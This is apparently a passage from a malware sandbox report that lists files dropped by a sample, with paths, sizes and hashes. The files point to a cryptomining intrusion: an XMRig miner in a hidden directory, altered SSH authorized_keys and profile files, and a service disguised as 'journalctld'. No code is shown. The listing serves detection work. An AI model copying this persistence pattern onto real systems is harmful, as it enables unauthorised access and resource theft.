                                                                                                                                                                                12f0ca1d1e03bee492f62049d16563883c29215a0412d349c2d0027cbbd8f0f978ebb6e6690a8b391cfe8d63885da7f20edbc41349c22c47ecde43cfc9beb2af

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sed4dCb3j
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                47e8383619497e60099771553be3f772

                                                                                                                                                                                SHA1

                                                                                                                                                                                0115b2bea5bae5c9d952947b992f701c6fb01ca9

                                                                                                                                                                                SHA256

                                                                                                                                                                                b5b8dcd8d6e456eb5e5123dffb45ed5a17f97abe842362021bd011e2dbc51dea

                                                                                                                                                                                SHA512

                                                                                                                                                                                ba3464fa636f88f3e4f45f1e97b19d87feb93c24398d7d7e798c63955900607a8eaee1d9507326d239897e2cdc59db71c5042ee4797c56d1f5923e2ad4278dba

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sedN68Sw7
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                3d9059f34245c003cf5f3f251b5a8cda

                                                                                                                                                                                SHA1

                                                                                                                                                                                934631f35ccbe7495fc55702de82832f3d4ab365

                                                                                                                                                                                SHA256

                                                                                                                                                                                c2db8b143520457d9f87a07f787fbb2a77215a4ab801887b1f9dd87195d2c143

                                                                                                                                                                                SHA512

                                                                                                                                                                                2f5c04d9f8672894ce05629beff04c5e050e855ab3c8caa5a1dd05a1f63f219b7e0838067c9aadd0cbd8b7d5ed05dae976ebc8acee896a33f4f48fe88d1545d9

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sedNyscfb
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                cd079e378620dec3b531cbe3b76f7044

                                                                                                                                                                                SHA1

                                                                                                                                                                                d37a93db529a33170351502b8a53ba8fbf57f644

                                                                                                                                                                                SHA256

                                                                                                                                                                                1e87eee32f1f46e1bcace02aa89d0f72f1bd600c0ad6ea3a88132b1d504f7deb

                                                                                                                                                                                SHA512

                                                                                                                                                                                61e461da5253dd27ccfbe7c2e2b6eeeeff19eb0f1de3ec2a6cfba671be5c9b592f87a9af655df041037a80da7cdf7c444906d3c1c63844bef1b3330c4b31f74d

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sedXST26G
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                558cda8eb5d84131791fcc7a73b60867

                                                                                                                                                                                SHA1

                                                                                                                                                                                eca9d15b9e311e0040e81fcdd3c5027d44c5ee70

                                                                                                                                                                                SHA256

                                                                                                                                                                                1509bd3ff7b23f439707db27a10bef952d1cd84baea6c8913711045460055244

                                                                                                                                                                                SHA512

                                                                                                                                                                                f6d5d25fa004dec0d5c6f87d009e6581e8ed6a888e4190ce1ee35ab4a80f9062092866b0bef6489e9c407f2143d9899d6903efd0f51222cc0c870d35c8f53221

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sedisOYKM
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                6f1260a200a882b454d7c1a6f1b1a626

                                                                                                                                                                                SHA1

                                                                                                                                                                                57ee5f5f669ada59e7ab6d98edefc3f93aa64133

                                                                                                                                                                                SHA256

                                                                                                                                                                                ecc75d13f03863ede0c3b1c9b2b7916f36455296786336d2235cb12af44c30e2

                                                                                                                                                                                SHA512

                                                                                                                                                                                05975d0e100422d676784f5c1da3d4bd928b01a142dfdec9a00db03c79fc4441d1534c03b5d23b1d25524b060b81547f6c5afdfc7ed5f02f1b72c85fb9d0e0a9

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/xmrig
                                                                                                                                                                                Filesize

                                                                                                                                                                                7.9MB

                                                                                                                                                                                MD5

                                                                                                                                                                                510afeaad16e1c3e6c772dc92a4e7f8a

                                                                                                                                                                                SHA1

                                                                                                                                                                                e94ef31cedcd73651d6dc076e0bc5b287b36a5ae

                                                                                                                                                                                SHA256

                                                                                                                                                                                934e14f1afbb107ea1035e681e0206ec467fea259ebfe01bf3fffffd449e5a6d

                                                                                                                                                                                SHA512

                                                                                                                                                                                9cea1eece9bc9f809fc253699f9830fb5a76cacf76f7e37bb18dbd979548a926201aa5f6001ced89b8d0aeaf81c21ba6d07be00b0eafa857dde03dd70498f584

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.profile
                                                                                                                                                                                Filesize

                                                                                                                                                                                81B

                                                                                                                                                                                MD5

                                                                                                                                                                                362404cc34d8a6191fd5dd4c13de2cce

                                                                                                                                                                                SHA1

                                                                                                                                                                                8be7c99b701528dc359dc8093a5c3b96e2dafdc9

                                                                                                                                                                                SHA256

                                                                                                                                                                                07023068eb8f3534d93ba194cce2f0c09a75a1cd8ada488e7a20e2d852f3c2c3

                                                                                                                                                                                SHA512

                                                                                                                                                                                180978ead481abd52920e43ecf29f0deffd7d37e93fffc6627776ed509c4febf1d978a7fc0d5c7226286d4e075b07bf062dac55cc8b8eff43d6c4fa33bf42f2f

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.ssh/authorized_keys
                                                                                                                                                                                Filesize

                                                                                                                                                                                553B

                                                                                                                                                                                MD5

                                                                                                                                                                                83114d8ac16a947ad92ed44aba42b584

                                                                                                                                                                                SHA1

                                                                                                                                                                                c0d45aaf0520481cbb9919f40de870a2b1fb1e26

                                                                                                                                                                                SHA256

                                                                                                                                                                                7ae9e600a69d66a01c7163b69b1545015289cc8d45679d3fc4c6ce84b138ff38

                                                                                                                                                                                SHA512

                                                                                                                                                                                f0baf0f4e919d7e054f9f409d0c964a0548d7725b672ae902b4efc43618033ade52db5a78419dad3f298509fd1cbb512fe66fdee9429fdbf039d46c8cc587303

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /etc/ssh/sedHP7Sao
                                                                                                                                                                                Filesize

                                                                                                                                                                                3KB

                                                                                                                                                                                MD5

                                                                                                                                                                                ef1ab31192a3c9ebf577fd39ecf7a34d

                                                                                                                                                                                SHA1

                                                                                                                                                                                d8ff44c387d809f11d2cf1055ee6718af87a9716

                                                                                                                                                                                SHA256

                                                                                                                                                                                e8c04b7d895018f4b691f3b08cc746d0ffc8804d5f3bda48e500ef9a447ab769

                                                                                                                                                                                SHA512

                                                                                                                                                                                6fd088397bf492e1878945da95eb532c05d8e6d6eb352a3bb959996cdfabc66b7c244942583b46aa64f740ca26379988350b9d69e48898737b073ccbc766fc70

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /etc/ssh/sedZldqiZ
                                                                                                                                                                                Filesize

                                                                                                                                                                                3KB

                                                                                                                                                                                MD5

                                                                                                                                                                                287c70a3266e7e5e7a253864266b898e

                                                                                                                                                                                SHA1

                                                                                                                                                                                8698de52964d89bca4ec3f6cc2eeb2d3ffc6b956

                                                                                                                                                                                SHA256

                                                                                                                                                                                a3d17d12dd45c0befa9dccfcd085be892c045e3aad662d807f0f62378a6d3515

                                                                                                                                                                                SHA512

                                                                                                                                                                                411b204b6efb461329074fabe9be45e492daef5d09a913d05e0b815bf633382a79a4f5981392e7f1757a760d1dda7a8dc973230dd39278179b24014df8411112

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /root/sedeaKNvJ
                                                                                                                                                                                Filesize

                                                                                                                                                                                171B

                                                                                                                                                                                MD5

                                                                                                                                                                                b4459ed3e12057b32e5956ff7f28b0f6

                                                                                                                                                                                SHA1

                                                                                                                                                                                08ed5fad411e738cfc5c216ecb286f1052a0f989

                                                                                                                                                                                SHA256

                                                                                                                                                                                59d632078f559b8c50ff1d13e201dd0d84ae20227b3f19472060ec438a6c31d4

                                                                                                                                                                                SHA512

                                                                                                                                                                                765340f155169ed90f7f39648590a046ff751eec4c5e83075fc58b0d00f7a220d6045aa8bf9c4be0a884e746850b2b9883615a626d75ad9e50452cc5888d1538

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /tmp/journalctld.service
                                                                                                                                                                                Filesize

                                                                                                                                                                                184B

                                                                                                                                                                                MD5

                                                                                                                                                                                1044786562127505e9400835ee81698b

                                                                                                                                                                                SHA1

                                                                                                                                                                                320376c333721ac95a94444e8ca7329bd03968bb

                                                                                                                                                                                SHA256

                                                                                                                                                                                ac22c341b8b892f973fe65928e6589516f10dec3c754d107a06b2db7468a0963

                                                                                                                                                                                SHA512

                                                                                                                                                                                d55629f90948108c28cef8491de3c06d84f4faac36590ad48c8f9fd29ee07c8e966dddd00fdaa0bade894fe946213b4e2924e3b516bbf64d5607e2346c9c03c8

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /tmp/xmrig.tar.gz
                                                                                                                                                                                Filesize

                                                                                                                                                                                3.3MB

                                                                                                                                                                                MD5

                                                                                                                                                                                8feb9a1c7da97b6e0d254d93da37371d

                                                                                                                                                                                SHA1

                                                                                                                                                                                090510d9ac1aedbce99fe98cc7396cfcfe6a3951

                                                                                                                                                                                SHA256

                                                                                                                                                                                b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

                                                                                                                                                                                SHA512

                                                                                                                                                                                2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

                                                                                                                                                                                Download Submit